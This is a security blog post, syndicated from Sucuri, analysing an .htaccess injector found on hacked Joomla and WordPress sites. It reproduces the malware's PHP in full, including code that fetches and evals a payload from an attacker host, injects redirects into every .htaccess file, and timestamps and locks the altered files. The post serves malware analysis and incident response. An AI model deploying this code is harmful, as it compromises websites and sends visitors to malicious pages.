SBN

.htaccess Injector on Joomla and WordPress Websites

During the process of investigating one of our incident response cases, we found an .htaccess code injection. It had been widely spread on the website, injected into all .htaccess files and redirecting visitors to the http[:]//portal-f[.]pw/XcTyTp advertisement website.

Taking a Look at the .htaccess Injector Code

Below is the code within the ./modules/mod_widgetread_twitt/ index.php file on a Joomla website. This code is responsible for injecting the malicious redirects into the .htaccess files:

DevOps Connect:DevSecOps @ RSAC 2022
<?php echo'Wordpress ';$htac=file_get_contents('hXXp://recaptcha-in[.]pw/bash/x');$fl="./.htaccess";$lastData="";if(file_exists($fl))$lastData=file_get_contents($fl);if(!substr_count($lastData,"# BEGIN WORDPRESS")){$data=$htac."rn".$lastData;chmod($fl,0766);file_put_contents($fl,$data);touch($fl,filemtime($path));chmod($fl,0444);echo$page;};$htac=file_get_contents('http://recaptcha-in.pw/bash/x');$fl="../.htaccess";$lastData="";if(file_exists($fl))$lastData=file_get_contents($fl);if(!substr_count($lastData,"# BEGIN WORDPRESS")){$data=$htac."rn".$lastData;chmod($fl,0766);file_put_contents($fl,$data);touch($fl,filemtime($path));chmod($fl,0444);echo$page;};$htac=file_get_contents('http://recaptcha-in.pw/bash/x');$fl="../../.htaccess";$lastData="";if(file_exists($fl))$lastData=file_get_contents($fl);if(!substr_count($lastData,"# BEGIN WORDPRESS")){$data=$htac."rn".$lastData;chmod($fl,0766);file_put_contents($fl,$data);touch($fl,filemtime($path));chmod($fl,0444);echo$page;};$htac=file_get_contents('http://recaptcha-in.pw/bash/x');$fl="../../../.htaccess";$lastData="";if(file_exists($fl))$lastData=file_get_contents($fl);if(!substr_count($lastData,"# BEGIN WORDPRESS")){$data=$htac."rn".$lastData;chmod($fl,0766);file_put_contents($fl,$data);touch($fl,filemtime($path));chmod($fl,0444);echo$page;};$htac=file_get_contents('http://recaptcha-in.pw/bash/x');$fl="../../../../.htaccess";$lastData="";if(file_exists($fl))$lastData=file_get_contents($fl);if(!substr_count($lastData,"# BEGIN WORDPRESS")){$data=$htac."rn".$lastData;chmod($fl,0766);file_put_contents($fl,$data);touch($fl,filemtime($path));chmod($fl,0444);echo$page;};$htac=file_get_contents('http://recaptcha-in.pw/bash/x');$fl="../../../../../.htaccess";$lastData="";if(file_exists($fl))$lastData=file_get_contents($fl);if(!substr_count($lastData,"# BEGIN WORDPRESS")){$data=$htac."rn".$lastData;chmod($fl,0766);file_put_contents($fl,$data);touch($fl,filemtime($path));chmod($fl,0444);echo$page;};echo' ';eval(file_get_contents('hXXp://recaptcha-in[.]pw/bash/include/xtaccess'));echo' ';set_time_limit(120);$fileName=".htaccess";$injectData="http://recaptcha-in.pw/bash/x";$filesArray=array();function FindFiles($dir,&$fArray,&$searchFile){if($curdir=opendir($dir)){while(false!==($file=readdir($curdir))){if(($file==".")||($file==".."))continue;$filePath=$dir.DIRECTORY_SEPARATOR.$file;if(is_file($filePath))if($file!=$searchFile)continue;if(is_dir($filePath)){FindFiles($filePath,$fArray,$searchFile);}else{array_push($fArray,$filePath);}}closedir($curdir);}return true;}FindFiles($_SERVER["DOCUMENT_ROOT"],$filesArray,$fileName);if(count($filesArray)>0){$injectData=file_get_contents($injectData);if(!empty($injectData)){foreach($filesArray as&$value){chmod($value,0777);if(is_writable($value)){$fileDate=filemtime($value);$fileSource=file_get_contents($value);if(!strstr($fileSource,$injectData)){$fileSource=$injectData."rn".$fileSource;file_put_contents($value,$fileSource);touch($value,$fileDate);}}chmod($value,0444);}}};echo'

END';

This code is searching for an .htaccess file. If found, this code will place malicious redirects in the file immediately after “# BEGIN WORDPRESS”.

Reaching the address hXXp://recaptcha-in[.]pw/bash/include/xtaccess (see the snippet above), we identified the next .htaccess injection with the accompanying .php instructions:

#Function Path_Finder
function path_finder(){
    ...
    }
#Function Edit
function edit($path,$content,$str){
    ...
    }
#Function Smartscan
function smartscan($dir){
    ...
    }
function search($dir,$content,$str,$what,$signature,$exc){
$d=array();
$d1=array();
$d2=array();
$res=smartscan($dir);
if(count(array_intersect($res,$signature)) > 0 && !in_array($what[0],$res)){
   if(file_put_contents($dir.'/'.$what[0],$content)){
      chmod($dir.'/'.$what[0], 0644);
  echo 'Created .htacces in >>'.$dir.'/'.$what[0].'<br>';
      }
   else{
      echo 'Cant create .htacces in >>'.$dir.'/'.$what[0].'<br>';
      }
   }
//add dirs to massive 1
foreach($res as $v){
    if(is_dir($dir.'/'.$v) && $v!=="." && $v!==".."){
       $d[]=$dir.'/'.$v;
       }
    }
//scan 1-deep files
foreach($d as $n){
$res2=smartscan($n);
//Выпарсить из ../..//domains последнюю папку domains и проверить в исключениях она или нет
$compare = explode('/',$n);
$compare = $compare[count($compare)-1];//отпарсили domains
if(count(array_intersect($res2,$signature)) > 0 && !in_array($what[0],$res2) && !in_array($compare,$exc)){
   if(file_put_contents($n.'/'.$what,$content)){
      chmod($n.'/'.$what[0], 0644);
  echo 'Created .htacces in >>'.$n.'/'.$what[0].'<br>';
      }
   else{
      echo 'Cant create .htacces in >>'.$n.'/'.$what[0].'<br>';
      }
   }
foreach($res2 as $l){
if(is_dir($n.'/'.$l) && $l!=='.' && $l!=='..'){
//add dirs to massive 2
$d1[]=$n.'/'.$l;
}
if(preg_match('#'.implode('|',$what).'#i',$l)){
chmod($n.'/'.$l, 0666);
if(is_writable($n.'/'.$l)){
edit($n.'/'.$l,$content,$str);
chmod($n.'/'.$l, 0644);
}else{
echo 'Cant edit >>'.$n.'/'.$l.'<br>';
}
}
}
}
//scan 2-deep files
foreach($d1 as $n1){
$res2=smartscan($n1);
$compare = explode('/',$n1);
$compare = $compare[count($compare)-1];
if(count(array_intersect($res2,$signature)) > 0 && !in_array($what[0],$res2) && !in_array($compare,$exc)){
   if(file_put_contents($n1.'/'.$what[0],$content) ){
      chmod($n1.'/'.$what[0], 0644);
  echo 'Created .htacces in >>'.$n1.'/'.$what[0].'<br>';
      }
   else{
      echo 'Cant create .htacces in >>'.$n1.'/'.$what[0].'<br>';
      }
   }
foreach($res2 as $l1){
if(is_dir($n1.'/'.$l1) && $l1!=='.' && $l1!=='..'){
//add dirs to massive 3
$d2[]=$n1.'/'.$l1;
}
if(preg_match('#'.implode('|',$what).'#i',$l1)){
chmod($n1.'/'.$l1, 0666);
if(is_writable($n1.'/'.$l1)){
edit($n1.'/'.$l1,$content,$str);
chmod($n1.'/'.$l1, 0644);
}else{
echo 'Cant edit >>'.$n1.'/'.$l1.'<br>';
}
}
}
}
//scan 3-deep files
foreach($d2 as $n2){
$res3=smartscan($n2);
$compare = explode('/',$n2);
$compare = $compare[count($compare)-1];
if(count(array_intersect($res3,$signature)) > 0 && !in_array($what[0],$res3) && !in_array($compare,$exc)){
   if(file_put_contents($n2.'/'.$what[0],$content) ){
      chmod($n2.'/'.$what[0], 0644);
  echo 'Created .htacces in >>'.$n2.'/'.$what[0].'<br>';
      }
   else{
      echo 'Cant create .htacces in >>'.$n2.'/'.$what[0].'<br>';
      }
   }
foreach($res3 as $l2){
if(preg_match('#'.implode('|',$what).'#i',$l2)){
chmod($n2.'/'.$l2, 0666);
if(is_writable($n2.'/'.$l2)){
edit($n2.'/'.$l2,$content,$str);
chmod($n2.'/'.$l2, 0644);
}else{
echo 'Cant edit >>'.$n2.'/'.$l2.'<br>';
}
}    
}
 }
}
#Exec Script
search($dir,$content,$str,$what,$signature,$exc);

This last part of the code searches for more files and folders, trying to search folders in a deeper level.

Conclusion

While the majority of web applications make use of redirects, these features are also commonly used by bad actors to generate advertising impressions, send unsuspecting site visitors to phishing sites, or other malicious web pages.

If you’re experiencing malicious redirects or other similar issues on your website and need a hand cleaning it up, let us know — we’d be happy to help.

*** This is a Security Bloggers Network syndicated blog from Sucuri Blog authored by Eugene Wozniak. Read the original post at: https://blog.sucuri.net/2019/05/htaccess-injector-on-joomla-and-wordpress-websites.html